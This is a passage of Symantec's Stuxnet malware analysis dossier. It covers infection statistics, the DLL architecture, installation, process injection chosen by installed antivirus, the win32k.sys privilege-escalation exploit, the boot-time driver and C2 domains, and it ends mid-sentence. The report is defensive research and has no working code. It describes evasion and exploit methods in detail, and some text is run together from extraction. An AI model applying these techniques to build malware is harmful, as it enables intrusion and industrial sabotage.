Security Response

W32.Stuxnet Dossier
Version 1.4 (February 2011)

Nicolas Falliere, Liam O Murchu,
and Eric Chien

Contents

Introduction........................................................ 1
Executive Summary............................................ 2
Attack Scenario................................................... 3
Timeline............................................................... 4
Infection Statistics.............................................. 5
Stuxnet Architecture........................................ 12
Installation........................................................ 16
Load Point......................................................... 20
Command and Control...................................... 21
Windows Rootkit Functionality........................ 24
Stuxnet Propagation Methods......................... 25
Modifying PLCs................................................. 36
Payload Exports................................................ 50
Payload Resources............................................ 51
Variants............................................................. 53
Summary........................................................... 55
Appendix A........................................................ 56
Appendix B ....................................................... 58
Appendix C........................................................ 59
Revision History................................................ 68

While the bulk of the analysis is complete, Stuxnet is an incredibly large
and complex threat. The authors expect to make revisions to this document
shortly after release as new information is uncovered or may be publicly
disclosed. This paper is the work of numerous individuals on the Symantec Security Response team over the last three months well beyond thecited authors. Without their assistance, this paper would not be possible.

Introduction
W32.Stuxnet has gained a lot of attention from researchers and media recently. There is good reason for this. Stuxnet is one of themost complex threats we have analyzed. In this paper we take a detailed look at Stuxnet and its various components and particularly
focus on the final goal of Stuxnet, which is to reprogram industrial
control systems. Stuxnet is a large, complex piece of malware withmany different components and functionalities. We have alreadycovered some of these components in our blog series on the topic. While some of the information from those blogs is included here,
this paper is a more comprehensive and in-depth look at the threat.
Stuxnet is a threat that was primarily written to target an industrial
control system or set of similar systems. Industrial control systems areused in gas pipelines and power plants. Its final goal is to reprogramindustrial control systems (ICS) by modifying code on programmable
logic controllers (PLCs) to make them work in a manner the attacker intended and to hide those changes from the operator of the equipment.
In order to achieve this goal the creators amassed a vast array of components to increase their chances of success. This includes zero-day
exploits, a Windows rootkit, the first ever PLC rootkit, antivirus evasion

Security Response

W32.Stuxnet Dossier

techniques, complex process injection and hooking code, network infection routines, peer-to-peer updates, anda command and control interface. We take a look at each of the different components of Stuxnet to understandhow the threat works in detail while keeping in mind that the ultimate goal of the threat is the most interesting
and relevant part of the threat.

Executive Summary
Stuxnet is a threat targeting a specific industrial control system likely in Iran, such as a gas pipeline or power
plant. The ultimate goal of Stuxnet is to sabotage that facility by reprogramming programmable logic controllers(PLCs) to operate as the attackers intend them to, most likely out of their specified boundaries.
Stuxnet was discovered in July, but is confirmed to have existed at least one year prior and likely even before.
The majority of infections were found in Iran. Stuxnet contains many features such as:• Self-replicates through removable drives exploiting a vulnerability allowing auto-execution.
Microsoft Windows Shortcut ‘LNK/PIF’ Files Automatic File Execution Vulnerability (BID 41732)• Spreads in a LAN through a vulnerability in the Windows Print Spooler.
Microsoft Windows Print Spooler Service Remote Code Execution Vulnerability (BID 43073)• Spreads through SMB by exploiting the Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability (BID 31874).
• Copies and executes itself on remote computers through network shares.
• Copies and executes itself on remote computers running a WinCC database server.
• Copies itself into Step 7 projects in such a way that it automatically executes when the Step 7 project isloaded.
• Updates itself through a peer-to-peer mechanism within a LAN.
• Exploits a total of four unpatched Microsoft vulnerabilities, two of which are previously mentioned vulnerabilities for self-replication and the other two are escalation of privilege vulnerabilities that have yet to bedisclosed.
• Contacts a command and control server that allows the hacker to download and execute code, including updated versions.
• Contains a Windows rootkit that hide its binaries.
• Attempts to bypass security products.
• Fingerprints a specific industrial control system and modifies code on the Siemens PLCs to potentially sabotage the system.
• Hides modified code on PLCs, essentially a rootkit for PLCs.

Page 2

Security Response

W32.Stuxnet Dossier

Attack Scenario
The following is a possible attack scenario. It is only speculation driven by the technical features of Stuxnet.
Industrial control systems (ICS) are operated by a specialized assembly like code on programmable logic controllers (PLCs). The PLCs are often programmed from Windows computers not connected to the Internet or even theinternal network. In addition, the industrial control systems themselves are also unlikely to be connected to theInternet.
First, the attackers needed to conduct reconnaissance. As each PLC is configured in a unique manner, the attackers would first need the ICS’s schematics. These design documents may have been stolen by an insider or evenretrieved by an early version of Stuxnet or other malicious binary. Once attackers had the design documents andpotential knowledge of the computing environment in the facility, they would develop the latest version of Stuxnet. Each feature of Stuxnet was implemented for a specific reason and for the final goal of potentially sabotaging the ICS.
Attackers would need to setup a mirrored environment that would include the necessary ICS hardware, such as
PLCs, modules, and peripherals in order to test their code. The full cycle may have taken six months and five toten core developers not counting numerous other individuals, such as quality assurance and management.
In addition their malicious binaries contained driver files that needed to be digitally signed to avoid suspicion.
The attackers compromised two digital certificates to achieve this task. The attackers would have needed toobtain the digital certificates from someone who may have physically entered the premises of the two companies
and stole them, as the two companies are in close physical proximity.
To infect their target, Stuxnet would need to be introduced into the target environment. This may have occurredby infecting a willing or unknowing third party, such as a contractor who perhaps had access to the facility, or aninsider. The original infection may have been introduced by removable drive.
Once Stuxnet had infected a computer within the organization it began to spread in search of Field PGs, which
are typical Windows computers but used to program PLCs. Since most of these computers are non-networked,
Stuxnet would first try to spread to other computers on the LAN through a zero-day vulnerability, a two year oldvulnerability, infecting Step 7 projects, and through removable drives. Propagation through a LAN likely served
as the first step and propagation through removable drives as a means to cover the last and final hop to a Field
PG that is never connected to an untrusted network.
While attackers could control Stuxnet with a command and control server, as mentioned previously the key computer was unlikely to have outbound Internet access. Thus, all the functionality required to sabotage a system
was embedded directly in the Stuxnet executable. Updates to this executable would be propagated throughout
the facility through a peer-to-peer method established by Stuxnet.
When Stuxnet finally found a suitable computer, one that ran Step 7, it would then modify the code on the PLC.
These modifications likely sabotaged the system, which was likely considered a high value target due to the large
resources invested in the creation of Stuxnet.
Victims attempting to verify the issue would not see any rogue PLC code as Stuxnet hides its modifications.
While their choice of using self-replication methods may have been necessary to ensure they’d find a suitable
Field PG, they also caused noticeable collateral damage by infecting machines outside the target organization.
The attackers may have considered the collateral damage a necessity in order to effectively reach the intended
target. Also, the attackers likely completed their initial attack by the time they were discovered.

Page 3

W32.Stuxnet Dossier

Security Response

Timeline
Table 1

W32.Stuxnet Timeline
Date

Event

November 20, 2008

Trojan.Zlob variant found to be using the LNK vulnerability only later identified in Stuxnet.

April, 2009

Security magazine Hakin9 releases details of a remote code execution vulnerability in the Printer Spooler
service. Later identified as MS10-061.

June, 2009

Earliest Stuxnet sample seen. Does not exploit MS10-046. Does not have signed driver files.

January 25, 2010

Stuxnet driver signed with a valid certificate belonging to Realtek Semiconductor Corps.

March, 2010

First Stuxnet variant to exploit MS10-046.

June 17, 2010

Virusblokada reports W32.Stuxnet (named RootkitTmphider). Reports that it’s using a vulnerability in theprocessing of shortcuts/.lnk files in order to propagate (later identified as MS10-046).

July 13, 2010

Symantec adds detection as W32.Temphid (previously detected as Trojan Horse).

July 16, 2010

Microsoft issues Security Advisory for “Vulnerability in Windows Shell Could Allow Remote Code Execution(2286198)” that covers the vulnerability in processing shortcuts/.lnk files.
Verisign revokes Realtek Semiconductor Corps certificate.

July 17, 2010

Eset identifies a new Stuxnet driver, this time signed with a certificate from JMicron Technology Corp.

July 19, 2010

Siemens report that they are investigating reports of malware infecting Siemens WinCC SCADA systems.
Symantec renames detection to W32.Stuxnet.

July 20, 2010

Symantec monitors the Stuxnet Command and Control traffic.

July 22, 2010

Verisign revokes the JMicron Technology Corps certificate.

August 2, 2010

Microsoft issues MS10-046, which patches the Windows Shell shortcut vulnerability.

August 6, 2010

Symantec reports how Stuxnet can inject and hide code on a PLC affecting industrial control systems.

September 14, 2010

Microsoft releases MS10-061 to patch the Printer Spooler Vulnerability identified by Symantec in August.
Microsoft report two other privilege escalation vulnerabilities identified by Symantec in August.

September 30, 2010

Symantec presents at Virus Bulletin and releases comprehensive analysis of Stuxnet.

Page 4

Security Response

W32.Stuxnet Dossier

Infection Statistics
On July 20, 2010 Symantec set up a system to monitor traffic to the Stuxnet command and control (C&C) servers. This allowed us to observe rates of infection and identify the locations of infected computers, ultimately
working with CERT and other organizations to help inform infected parties. The system only identified commandand control traffic from computers that were able to connect to the C&C servers. The data sent back to the C&C
servers is encrypted and includes data such as the internal and external IP address, computer name, OS version,and if it’s running the Siemens SIMATIC Step 7 industrial control software.
As of September 29, 2010, the data has shown that there are approximately 100,000 infected hosts. The following graph shows the number of unique infected hosts by country:
Figure 1

Infected Hosts

The following graph shows the number of infected organizations by country based on WAN IP addresses:
Figure 2

Infected Organizations (By WAN IP)

Page 5

Security Response

W32.Stuxnet Dossier

We have observed over 40,000 unique external IP addresses, from over 155 countries. Looking at the percentage
of infected hosts by country, shows that approximately 60% of infected hosts are in Iran:
Figure 3

Geographic Distribution of Infections

Stuxnet aims to identify those hosts which have the Siemens Step 7 software installed. The following chartshows the percentage of infected hosts by country with the Siemens software installed.
Figure 4

Percentage of Stuxnet infected Hosts with Siemens Software installed

Looking at newly infected IP addresses per day, on August 22 we observed that Iran was no longer reporting new
infections. This was most likely due to Iran blocking outward connections to the command and control servers,
rather than a drop-off in infections.

Page 6

Security Response

W32.Stuxnet Dossier

Figure 5

Rate of Stuxnet infection of new IPs by Country

The concentration of infections in Iran likely indicates that this was the initial target for infections and waswhere infections were initially seeded. While Stuxnet is a targeted threat, the use of a variety of propagation
techniques (which will be discussed later) has meant that Stuxnet has spread beyond the initial target. These
additional infections are likely to be “collateral damage”—unintentional side-effects of the promiscuous initialpropagation methodology utilized by Stuxent. While infection rates will likely drop as users patch their computers against the vulnerabilities used for propagation, worms of this nature typically continue to be able to propagate via unsecured and unpatched computers.
By February 2011, we had gathered 3,280 unique samples representing three different variants. As described in
the Configuration Data Block section, Stuxnet records a timestamp, along with other system information, within
itself each time a new infection occurs. Thus, each sample has a history of every computer that was infected,
including the first infection. Using this data, we are able to determine:• Stuxnet was a targeted attack on five different organizations, based on the recorded computer domain name.
• 12,000 infections can be traced back to these 5 organizations• Three organizations were targeted once, one was targeted twice, and another was targeted three times.
• Domain A was targeted twice (Jun 2009 and Apr 2010).
• The same computer appears to have been infected each time.
• Domain B was targeted three times (Jun 2009, Mar 2010, and May 2010).
• Domain C was targeted once (Jul 2009).
• Domain D was targeted once (Jul 2009).
• Domain E appears to have been targeted once (May 2010), but had three initial infections. (I.e., the same
initially infected USB key was inserted into three different computers.)• 12,000 infections originated from these initial 10 infections.
• 1,800 different domain names were recorded.
• Organizations were targeted in June 2009, July 2009, March 2010, April 2010, and May 2010.
• All targeted organizations have a presence in Iran.
• The shortest span between compile time and initial infection was 12 hours.
• The longest span between compile time and initial infection was 28 days.
• The average span between compile time and initial infection was 19 days.
• The median span between compile time and initial infection was 26 days.
Note any timing information could be incorrect due to time zones or incorrectly set system times.

Page 7

W32.Stuxnet Dossier

Security Response

The following table provides details on the initial targets.
Table 2

Attack Waves Against the Initial Targets
Attack Wave Site

Compile Time

Infection TimeTime to InfectAttack Wave 1

Domain A

June, 22 2009 16:31:47

June 23, 2009 4:40:16

0 days 12 hours

Domain B

June, 22 2009 16:31:47

June 28, 2009 23:18:14

6 days 6 hours

Domain C

June, 22 2009 16:31:47

July 7, 2009 5:09:28

14 days 12 hours

Domain D

June, 22 2009 16:31:47

July 7, 2009 9:27:09

26 days 16 hours

Attack Wave 2

Domain B

March, 1 2010 5:52:35

March 23, 2010 6:06:07

22 days 0 hours

Attack Wave 3

Domain A

April, 14 2010 10:56:22

April 26, 2010 9:37:36

11 days 22 hours

Domain E

April, 14 2010 10:56:22

May 11, 2010 6:36:32

26 days 19 hours

Domain E

April, 14 2010 10:56:22

May 11, 2010 11:45:53

27 days 0 hours

Domain E

April, 14 2010 10:56:22

May 11, 2010 11:46:10

27 days 0 hours

Domain B

April, 14 2010 10:56:22

May 13, 2010 5:02:23

28 days 18 hours

This graph shows the time required after compilation to the first infection.
Figure 6

Days Before Infection

The following is a graph that shows the clusters of infections resulting from the 10 different initial infections.
Each infection is a black circle. The red circles represent the variant used. The other colored circles represent theinitial infection with each initial domain having its own color (green, yellow, blue, purple, and orange).

Page 8

Security Response

W32.Stuxnet Dossier

Figure 7

Clusters of Infections Based on Initial Infections

Page 9Security Response

W32.Stuxnet Dossier

There are a total of 10 clusters representing 10 initial infections. The attack on Domain B in March 2010 spreadthe most successfully. Early attacks in June 2009 show the fewest infections; however, these numbers are
skewed because of the low number of June 2009 samples that were recovered.
The following picture shows a zoomed-in view of the lower right of the image. This cluster is the attack on Domain E with the initial infection time of 2010/05/11 11:46:10 with the April 2010 variant.
Figure 8

Domain E Attack (detail)You can see that the graph primarily has linear branches such that a single infection does not infect many computers, but only a single computer. While this is partially due to rate-limiting code within Stuxnet—for example,
a USB infection will delete itself from the USB key after the third infection—a larger influencer may be thelimited number of samples that were recovered. Additional samples would likely yield many more sub-branches.
Stuxnet’s propagation mechanisms are Figure 9
all LAN based and thus, the final target Variant Infection Distribution
must be assumed in close network
proximity to the initial seeded targets.
Nevertheless, with 1,800 different
computer domains out of 12,000
infections, Stuxnet clearly escaped theoriginal organizations due to collaboration with partner organizations.
Of the approximately 12,000 infections, the chart in figure 9 shows
which variants resulted in the mostinfections.

Page 10

Security Response

W32.Stuxnet Dossier

The March 2010 variant accounts for 69% of all infections. Thus, the March 2010 variant may have been seeded
more successfully. Note the single targeted organization in March 2010 was also targeted in June 2009 and in
April 2010 and neither of those other seeded attempts resulted in as many infections as in March. While smaller
infection rates for the June 2009 variant would be expected since it had less replication methods, the April 2010variant is almost identical to the March 2010 variant. Thus, either the different seed within the same organization resulted in significantly different rates of spread (e.g., seeding in a computer in a department with lesscomputer-security restrictions) or the data is skewed due to the small percentage of samples recovered.

Page 11

W32.Stuxnet Dossier

Security Response

Stuxnet Architecture
Organization
Stuxnet has a complex architecture that is worth outlining before continuing with our analysis.
The heart of Stuxnet consists of a large .dll file that contains many different exports and resources. In addition to
the large .dll file, Stuxnet also contains two encrypted configuration blocks.
The dropper component of Stuxnet is a wrapper program that contains all of the above components stored insideitself in a section name “stub”. This stub section is integral to the working of Stuxnet. When the threat is executed, the wrapper extracts the .dll file from the stub section, maps it into memory as a module, and calls one of theexports.
A pointer to the original stub section is passed to this export as a parameter. This export in turn will extract the.dll file from the stub section, which was passed as a parameter, map it into memory and call another different
export from inside the mapped .dll file. The pointer to the original stub section is again passed as a parameter.
This occurs continuously throughout the execution of the threat, so the original stub section is continuously
passed around between different processes and functions as a parameter to the main payload. In this way every
layer of the threat always has access to the main .dll and the configuration blocks.
In addition to loading the .dll file into memory and calling an export directly, Stuxnet also uses another techniqueto call exports from the main .dll file. This technique is to read an executable template from its own resources,
populate the template with
Table 3
appropriate data, such as
DLL Exports
which .dll file to load andwhich export to call, and then
Export #Function
to inject this newly populated
1
Infect connected removable drives, starts RPC server
executable into another pro2
Hooks APIs for Step 7 project file infections
cess and execute it. The newly
populated executable tem4
Calls the removal routine (export 18)
plate will load the original .dll
5
Verifies if the threat is installed correctly
file and call whatever export
6
Verifies version information
the template was populated
7
Calls Export 6
with.
Although the threat uses
these two different techniques to call exports in themain .dll file, it should beclear that all the functionalityof the threat can be ascertained by analyzing all of theexports from the main .dll file.

Exports
As mentioned above, themain .dll file contains all of
the code to control the worm.
Each export from this .dll
file has a different purpose
in controlling the threat as
outlined in table 3.

9Updates itself from infected Step 7 projects

10

Updates itself from infected Step 7 projects

14

Step 7 project file infection routine

15

Initial entry point

16

Main installation

17

Replaces Step 7 DLL

18

Uninstalls Stuxnet

19

Infects removable drives

22

Network propagation routines

24

Check Internet connection

27

RPC Server

28

Command and control routine

29

Command and control routine

31

Updates itself from infected Step 7 projects

32

Same as 1

Page 12

W32.Stuxnet Dossier

Security Response

Resources
The main .dll file also contains many different resources that the exports above use in the course of controllingthe worm. The resources vary from full .dll files to template executables to configuration files and exploit modules.
Both the exports and resources are discussed in the sections below.
Table 4DLL Resources
Resource ID

Function

201

MrxNet.sys load driver, signed by Realtek

202

DLL for Step 7 infections

203

CAB file for WinCC infections

205

Data file for Resource 201

207

Autorun version of Stuxnet

208

Step 7 replacement DLL

209

Data file (%windows%\help\winmic.fts)

210

Template PE file used for injection

221

Exploits MS08-067 to spread via SMB.

222

Exploits MS10-061 Print Spooler Vulnerability

231

Internet connection check240

LNK template file used to build LNK exploit

241

USB Loader DLL ~WTR4141.tmp

242

MRxnet.sys rootkit driver

250

Exploits Windows Win32k.sys Local Privilege Escalation (MS10-073)

Bypassing Behavior Blocking When Loading DLLs
Whenever Stuxnet needs to load a DLL, including itself, it uses a special method designed to bypass behaviorblocking and host intrusion-protection based technologies that monitor LoadLibrary calls. Stuxnet calls LoadLibrary with a specially crafted file name that does not exist on disk and normally causes LoadLibrary to fail.
However, W32.Stuxnet has hooked Ntdll.dll to monitor for requests to load specially crafted file names. These
specially crafted filenames are mapped to another location instead—a location specified by W32.Stuxnet. That
location is generally an area in memory where a .dll file has been decrypted and stored by the threat previously.
The filenames used have the pattern of KERNEL32.DLL.ASLR.[HEXADECIMAL] or SHELL32.DLL.ASLR. [HEXADECIMAL], where the variable [HEXADECIMAL]is a hexadecimal value.
The functions hooked for this purpose in Ntdll.dll are:• ZwMapViewOfSection• ZwCreateSection• ZwOpenFile• ZwCloseFile• ZwQueryAttributesFile• ZwQuerySection
Once a .dll file has been loaded via the method shown above, GetProcAddress is used to find the address of a
specific export from the .dll file and that export is called, handing control to that new .dll file.

Page 13

W32.Stuxnet Dossier

Security Response

Injection Technique
Whenever an export is called, Stuxnet typically injects the entire DLL into another process and then just calls theparticular export. Stuxnet can inject into an existing or newly created arbitrary process or a preselected trusted
process. When injecting into a trusted process, Stuxnet may keep the injected code in the trusted process or
instruct the trusted process to inject the code into another currently running process.
The trusted process consists of a set of default Windows processes and a variety of security products. The currently running processes are enumerated for the following:• Kaspersky KAV (avp.exe)• Mcafee (Mcshield.exe)• AntiVir (avguard.exe)• BitDefender (bdagent.exe)• Etrust (UmxCfg.exe)• F-Secure (fsdfwd.exe)• Symantec (rtvscan.exe)• Symantec Common Client (ccSvcHst.exe)• Eset NOD32 (ekrn.exe)• Trend Pc-Cillin (tmpproxy.exe)
In addition, the registry is searched for indicators that the following programs are installed:• KAV v6 to v9• McAfee• Trend PcCillin
If one of the above security product processes are detected, version information of the main image is extracted.
Based on the version number, the target process of injection will be determined or the injection process will failif the threat considers the security product non-bypassable.
The potential target processes for the injection are as follows:• Lsass.exe• Winlogon.exe• Svchost.exe• The installed security product process
Table 5 describes which process is used for injection depending on which security products are installed. In addition, Stuxnet will determine if it needs to use one of the two currently undisclosed privilege escalation vulnerabilities before injecting. Then, Stuxnet executes the target process in suspended mode.
A template PE file is extracted from itself and a new
section called .verif is created. The section is madelarge enough so that the entry point address ofthe target process falls within the .verif section. At
that address in the template PE file, Stuxnet places
a jump to the actual desired entry point of theinjected code. These bytes are then written to thetarget process and ResumeThread is called allowing
the process to execute and call the injected code.
This technique may bypass security products that
employ behavior-blocking.
In addition to creating the new section and patching the entry point, the .stub section of the wrapper.dll file (that contains the main .dll file and configuration data) is mapped to the memory of the newprocess by means of shared sections. So the newTable 5

Process Injection
Security Product Installed Injection target
KAV v1 to v7

LSASS.EXE

KAV v8 to v9

KAV Process

McAfeeWinlogon.exe

AntiVir

Lsass.exe

BitDefender

Lsass.exe

ETrust v5 to v6

Fails to Inject

ETrust (Other)

Lsass.exe

F-Secure

Lsass.exe

Symantec

Lsass.exe

ESET NOD32

Lsass.exe

Trend PC Cillin

Trend Process

Page 14

Security Response

W32.Stuxnet Dossier

process has access to the original .stub section. When the newly injected process is resumed, the injected code
unpacks the .dll file from the mapped .stub section and calls the desired export.
Instead of executing the export directly, the injected code can also be instructed to inject into another arbitrary
process instead and within that secondary process execute the desired export.

Configuration Data Block
The configuration data block contains all the values used to control how Stuxnet will act on a compromised computer. Example fields in the configuration data can be seen in the Appendix.
When a new version of Stuxnet is created (using the main DLL plus the 90h-byte data block plus the configuration data), the configuration data is updated, and also a computer description block is appended to the block(encoded with a NOT XOR 0xFF). The computer description block contains information such as computer name,domain name, OS version, and infected S7P paths. Thus, the configuration data block can grow pretty big, larger
than the initial 744 bytes.
The following is an example of the computer description block :5.1 - 1/1/0 - 2 - 2010/09/22-15:15:47 127.0.0.1, [COMPUTER NAME] [DOMAIN NAME] [c:\a\1.
zip:\proj.s7p]
The following describes each field:
5.1 - Major OS Version and Minor OS Version
1/1/0 – Flags used by Stuxnet
2 – Flag specifying if the computer is part of a workgroup or domain
2010/09/22-15:15:47 – The time of infection.
127.0.0.1 – Up to IP addresses of the compromised computer (not in the June 2009 version).
[COMPUTER NAME] – The computer name.
[DOMAIN NAME] – The domain or workgroup name.
[c:\a\1.zip:\proj.s7p] – The file name of infected project file.

Page 15

Security Response

W32.Stuxnet DossierInstallation
Export 15 is the first export called when the .dll file is loaded for the first time. It is responsible for checking thatthe threat is running on a compatible version of Windows, checking whether the computer is already infected ornot, elevating the privilege of the current process to system, checking what antivirus products are installed, andwhat the best process to inject into is. It then injects the .dll file into the chosen process using a unique injection
technique described in the Injection Technique section and calls export 16.
Figure 10

Control flow for export 15

The first task in export 15 is to check if the configuration data is up-to-date. The configuration data can be
stored in two locations. Stuxnet checks which is most up-to-date and proceeds with that configuration data.
Next, Stuxnet determines if it is running on a 64-bit machine or not; if the machine is 64-bit the threat exits.
At this point it also checks to see what operating system it is running on. Stuxnet will only run on the following
operating systems:• Win2K• WinXP• Windows 2003
• Vista• Windows Server 2008
• Windows 7• Windows Server 2008 R2
If it is not running on one of these operating systems it will exit.
Next, Stuxnet checks if it has Administrator rights on the computer. Stuxnet wants to run with the highest privilege possible so that it will have permission to take whatever actions it likes on the computer. If it does not have
Administrator rights, it will execute one of the two zero-day escalation of privilege attacks described below.

Page 16

Security Response

W32.Stuxnet Dossier

If the process already has the rights it requires it proceeds to prepare to call export 16 in the main .dll file. It calls
export 16 by using the injection techniques described in the Injection Technique section.
When the process does not have Adminstrator rights on the system it will try to attain these privileges by using
one of two zero-day escalation of privilege attacks. The attack vector used is based on the operating systemof the compromised computer. If the operating system is Windows Vista, Windows 7, or Windows Server 2008
R2 the currently undisclosed Task Scheduler Escalation of Privilege vulnerability is exploited. If the operating
system is Windows XP or Windows 2000 the Windows Win32k.sys Local Privilege Escalation vulnerability (MS10073) is exploited.
If exploited, both of these vulnerabilities result in the main .dll file running as a new process, either within thecsrss.exe process in the case of the win32k.sys vulnerability or as a new task with Adminstrator rights in thecase of the Task Scheduler vulnerability.
The code to exploit the win32k.sys vulnerability is stored in resource 250. Details of the Task Scheduler vulnerability currently are not released as patches are not yet available. The Win32k.sys vulnerability is described in
the Windows Win32k.sys Local Privilege Escalation vulnerability (MS10-073) section.
After export 15 completes the required checks, export 16 is called.
Export 16 is the main installer for Stuxnet. It checks the date and the version number of the compromised computer; decrypts, creates and installs the rootkit files and registry keys; injects itself into the services.exe process
to infect removable drives; injects itself into the Step7 process to infect all Step 7 projects; sets up the global
mutexes that are used to communicate between different components; and connects to the RPC server.
Figure 11

Infection routine flow

Export 16 first checks that the configuration data is valid, after that it checks the value “NTVDM TRACE” in thefollowing registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation
Page 17

Security Response

W32.Stuxnet Dossier

If this value is equal to 19790509 the threat will exit. This is thought to be an infection marker or a “do notinfect” marker. If this is set correctly infection will not occur. The value may be a random string and represent
nothing, but also appears to match the format of date markers used in the threat. As a date, the value may be
May 9, 1979. This date could be an arbitrary date, a birth date, or some other significant date. While on May 9,
1979 a variety of historical events occured, according to Wikipedia “Habib Elghanian was executed by a firingsquad in Tehran sending shock waves through the closely knit Iranian Jewish community. He was the first Jew
and one of the first civilians to be executed by the new Islamic government. This prompted the mass exodus of
the once 100,000 member strong Jewish community of Iran which continues to this day.” Symantec cautions
readers on drawing any attribution conclusions. Attackers would have the natural desire to implicate anotherparty.
Next, Stuxnet reads a date from the configuration data (offset 0x8c in the configuration data). If the current dateis later than the date in the configuration file then infection will also not occur and the threat will exit. The datefound in the current configuration file is June 24, 2012.
Stuxnet communicates between different components via global mutexes. Stuxnet tries to create such a global
mutex but first it will use SetSecurityDescriptorDacl for computers running Windows XP and also the SetSecurityDescriptorSacl API for computers running Windows Vista or later to reduce the integrity levels of objects, andthus ensure no write actions are denied.
Next, Stuxnet creates 3 encrypted files. These files are read from the .stub section of Stuxnet; encrypted andwritten to disk, the files are:
1. The main Stuxnet payload .dll file is saved as Oem7a.pnf
2. A 90 byte data file copied to %SystemDrive%\inf\mdmeric3.PNF
3. The configuration data for Stuxnet is copied to %SystemDrive%\inf\mdmcpq3.PNF
4. A log file is copied to %SystemDrive%\inf\oem6C.PNF
Then Stuxnet checks the date again to ensure the current date is before June 24, 2012.
Subsequently Stuxnet checks whether it is the latest version or if the version encrypted on disk is newer. It does
this by reading the encrypted version from the disk, decrypting it, and loading it into memory. Once loaded Stuxnet calls export 6 from the newly loaded file; export 6 returns the version number of the newly loaded file fromthe configuration data. In this way Stuxnet can read the version number from its own configuration data andcompare it with the version number from the file on disk. If the versions match then Stuxnet continues.
Provided that the version check passed, Stuxnet will extract, decode, and write two files from the resources section to disk. The files are read from resource 201 and 242 and are written to disk as “Mrxnet.sys“ and “Mrxcls.
sys” respectively. These are two driver files; one serves as the load point and the other is used to hide malicious
files on the compromised computer and to replace the Stuxnet files on the disk if they are removed. The mechanics of these two files are discussed in the Load Point and Rootkit Functionality sections respectively. When thesefiles are created the file time on them is changed to match the times of other files in the system directory to
avoid suspicion. Once these files have been dropped Stuxnet creates the registry entries necessary to load thesefiles as services that will automatically run when Windows starts.
Once Stuxnet has established that the rootkit was installed correctly it creates some more global mutexes tosignal that installation has occurred successfully.
Stuxnet passes control to two other exports to continue the installation and infection routines. Firstly, it injects
the payload .dll file into the services.exe process and calls export 32, which is responsible for infecting newly
connected removable drives and for starting the RPC server. Secondly, Stuxnet injects the payload .dll file into
the Step7 process S7tgtopx.exe and calls export 2. In order to succeed in this action, Stuxnet may need to kill the
explorer.exe and S7tgtopx.exe processes if they are running. Export 2 is used to infect all Step7 project files as
outlined in the Step7 Project File Infection section.
From here execution of Stuxnet continues via these 2 injections and via the driver files and services that werecreated.

Page 18

Security Response

W32.Stuxnet Dossier

Stuxnet then waits for a short while before trying to connect to the RPC server that was started by the export
32 code. It will call function 0 to check it can successfully connect and then it makes a request to function 9 toreceive some information, storing this data in a log file called oem6c.pnf.
At this time, all the default spreading and payload routines have been activated.

Windows Win32k.sys Local Privilege Escalation (MS10-073)
Stuxnet exploited a 0-day vulnerability in win32k.sys, used for local privilege escalation. The vulnerability waspatched on October 12, 2010. The vulnerability resides in code that calls a function in a function pointer table;
however, the index into the table is not validated properly allowing code to be called outside of the function
table.
The installation routine in Export 15, extracts and executes Resource 250, which contains a DLL that invokes the
local privilege escalation exploit. The DLL contains a single export—Tml_1. The code first verifies that the execution environment isn’t a 64-bit system and is Windows XP or Windows 2000.
If the snsm7551.tmp file exists execution ceases, otherwise the file ~DF540C.tmp is created, which provides an
in-work marker.
Next, win32k.sys is loaded into memory and the vulnerable function table pointer is found. Next, Stuxnet will examine the DWORDs that come after the function table to find a suitable DWORD to overload as a virtual addressthat will be called. When passing in an overly large index into the function table, execution will transfer to code
residing at one of the DWORDs after the function table. These DWORDs are just data used elsewhere in win32k.
sys, but hijacked by Stuxnet. For example, if the ASCII string ‘aaaa’ (DWORD 0x60606060) is located after thefunction table, Stuxnet will allocate shellcode at address 0x60606060 and then pass in an overly large function
table index that points to the DWORD ‘aaaa’ (0x60606060).
Because the available space at the address (in the above example 0x60606060) may be limited, Stuxnet uses
a two stage shellcode strategy. Memory is allocated for the main shellcode and at the chosen hijacked address,
Stuxnet only places a small piece of shellcode that will jump to the main shellcode.
Next, Stuxnet drops a malformed keyboard layout file into the Temp directory with the file name ~DF<random>.
tmp. The malformed keyboard layout file contains a byte that will result in the overly large index into the function table. NtUserLoadKeyboardLayoutEx is called to load the malformed keyboard layout file successfully invoking the exploit. The original keyboard layout is restored and then the malformed keyboard layout file is deleted.
The shellcode then loads the main Stuxnet DLL in the context of CSRSS.EXE.

Page 19

Security Response

W32.Stuxnet Dossier

Load Point
Stuxnet drops Resource 242 MrxCls.sys via Export 16. MrxCls is a driver digitally signed with a compromised
Realtek certificate that was revoked on July 16, 2010 by Verisign. A different version of the driver was also foundsigned by a different compromised digital certificate from JMicron.
Mrxcls.sys is a driver that allows Stuxnet to be executed every time an infected system boots and thus acts as
the main load-point for the threat. The driver is registered as a boot start service creating the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MRxCls\”ImagePath” = “%System%\drivers\mrxcls.sys”
and thus loading early in the Windows boot process.
The goal of the driver is to inject and execute copies of Stuxnet into specific processes.
The driver contains an encrypted data block. After decryption, this block contains (among others) a registry key/value pair, which is normally HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MrxCls\“Data”.
The driver reads this binary value (previously set by Stuxnet during the installation process). The value is decrypted. It contains a list of pairs (target process name, module to inject):• services.exe — %Windir%\inf\oem7A.PNF• S7tgtopx.exe — %Windir%\inf\oem7A.PNF• CCProjectMgr.exe — %Windir%\inf\oem7A.PNF• explorer.exe — %Windir%\inf\oem7m.PNF
The services.exe, s7tgtopx.exe (Simatic manager) and CCProjectMgr.exe (WinCC project manager) will be injected with oem7a.pnf, which is a copy of the main Stuxnet dll. Once injected, Stuxnet executes on the compromised
computer.
Explorer.exe is injected with oem7m.pnf, an unknown file, which does not appear to be dropped by Stuxnet.

Page 20

W32.Stuxnet Dossier

Security Response

Command and Control
After the threat has installed itself, dropped its files, and gathered some information about the system it contacts the command and control server on port 80 and sends some basic information about the compromised
computer to the attacker via HTTP. Two command and control servers have been used in known samples:• www[.]mypremierfutbol[.]com• www[.]todaysfutbol[.]com
The two URLs above previously pointed to servers in Malaysia and Denmark; however they have since beenredirected to prevent the attackers from controlling any compromised computers. The threat has the capability
to update itself with new command and control domains, but we have not seen any files with updated configurations as yet. A configuration file named %Windir%\inf\mdmcpq3.PNF is read and the updated configuration
